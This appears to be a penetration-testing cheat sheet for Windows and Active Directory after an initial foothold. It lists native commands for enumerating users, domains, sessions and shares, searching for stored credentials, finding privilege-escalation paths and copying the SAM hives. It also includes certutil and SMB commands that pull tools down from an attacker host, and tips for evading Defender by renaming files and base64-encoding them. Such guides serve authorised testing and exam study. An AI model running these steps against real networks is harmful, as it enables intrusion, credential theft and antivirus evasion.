

1. User & Privilege Information

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whoami

whoami /groups

net user %username%

- Check if you're part of **Administrators, Remote Desktop Users**, etc.
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2. Enumerate Local Users

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net users

net localgroup administrators

net localgroup "Remote Desktop Users"

- Useful to find other users that may be interesting or have higher privileges.
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3. Hostname, IP, and Domain Info

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hostname

ipconfig /all

echo %USERDOMAIN%

set

4. Find Domain Controllers

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nltest /dclist:<domain>

nltest /domain_trusts

5. Find Logged-In Users

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query user

qwinsta

6. Check Active Sessions or Shares

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net session

net share

net use

7. Enumerate Services (e.g., for misconfigurations)

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sc query

sc qc <service_name>

8. Look for Credential Disclosure (Cleartext or Weak File Permissions)

Search manually:

- C:\Users\<user>\AppData\Roaming
 - C:\ProgramData
 - C:\Windows\Temp
 - Files like config.xml, .rdp, .ps1, .bat, .ini, .log
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9. Look for Saved Credentials

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cmdkey /list

Can show saved RDP/Windows credentials for other users.

10. Check for Lateral Movement Possibility

Even without Mimikatz, you can use:

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net view /domain

net view \\<hostname>

If you have credentials (hash/password), you can:

- Map drives
 - Use runas
 - Use psexec or wmic if you find them locally
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11. Escalation Vectors

Search manually for:

- **Unquoted service paths**
 - **Weak folder permissions (C:\Program Files or Services)**
 - **AlwaysInstallElevated** registry keys
 - **Scheduled tasks with weak ACLs**
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12. Manual Kerberos Ticket Check

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klist

- Shows your current TGTs
 - Helps for Pass-the-Ticket if you get .kirbi later
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Bonus: Built-in Tools That May Be Present

- tasklist, schtasks, reg, reg query
- wmic
- PowerShell (including advanced remoting)
- gpresult /R to check GPOs applied
- eventvwr for manual log checking

What You Can't Do Without Mimikatz or Rubeus:

- Dump LSASS memory (sekurlsa::logonpasswords)
- Export tickets (kerberos::ptt)
- Enumerate AD deeply (PowerView)
- Abusing delegation/ticket forging

But you can still **dump hashes** if secretsdump.py is run **remotely**, or you copy SAM, SYSTEM, and SECURITY hives.

What You MUST Know (Manual AD Enumeration)

You should be comfortable doing the following **without tools**:

Enumerate Users & Groups (Post Foothold)

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whoami /groups

net user /domain

net group "Domain Admins" /domain

net localgroup administrators

net share

Identify Domain Info

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echo %USERDOMAIN%

echo %USERNAME%

nltest /domain_trusts

nltest /dclist:yourdomain.local

Check Sessions & Logged-In Users

cmd

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query user

qwinsta

tasklist /v

□ Find Priv Esc Vectors

cmd

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whoami /priv

icacls "C:\path"

sc qc someService

dir /q /s "C:\Program Files"

🛠 What to Do If You Can Transfer Tools:

Use:

- certutil -urlcache -split -f http://<attacker_ip>/tool.exe tool.exe
- Or mount SMB share:

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net use \\<attacker_ip>\share /user:attacker pass

copy \\<attacker_ip>\share\tool.exe .

✓ 1. "Tool-less AD Survival Sheet" (Native PowerShell)

Use these commands if tools like PowerView, BloodHound, or Rubeus are blocked or deleted.

□ 🗂 Basic User & Group Info

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whoami /groups

```
net user <username> /domain  
net group "Domain Admins" /domain  
net localgroup administrators
```

□ Environment & Domain Info

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powershell  
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echo %USERDOMAIN%  
echo %COMPUTERNAME%  
echo %USERNAME%  
set
```

□ Share Enumeration

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powershell  
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net share  
Get-SmbShare
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□ Sessions & Logged-In Users

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query user  
qwinsta  
tasklist /v
```

📦 List Domain Users (Manual ADSI)

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$domain = New-Object DirectoryServices.DirectoryEntry  
$searcher = New-Object DirectoryServices.DirectorySearcher($domain)  
$searcher.Filter = "(objectClass=user)"  
$searcher.FindAll()
```

🔍 SPNs (For Kerberoasting – fallback to attacker machine if possible)

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setspn -T yourdomain.local -Q /*
```

✓ 2. "Tool Transfer Cheatsheet"

When you're stuck without your usual tools — use these:

◆ Transfer with certutil

cmd

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certutil -urlcache -split -f http://<Kali_IP>/tool.exe tool.exe
```

◆ Python HTTP Server (on Kali)

bash

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```
python3 -m http.server 80
```

◆ SMB Share (on Kali)

bash

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```
impacket-smbserver share /path/to/tools -smb2support
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cmd

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```
net use \\<Kali_IP>\share
```

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copy \\<Kali_IP>\share\tool.exe
```

□ Defender Evasion Tricks

- Rename .ps1 → .txt
- Rename .exe → .dat, .bin
- Compress in .zip or .7z
- Encode with base64 → decode in PowerShell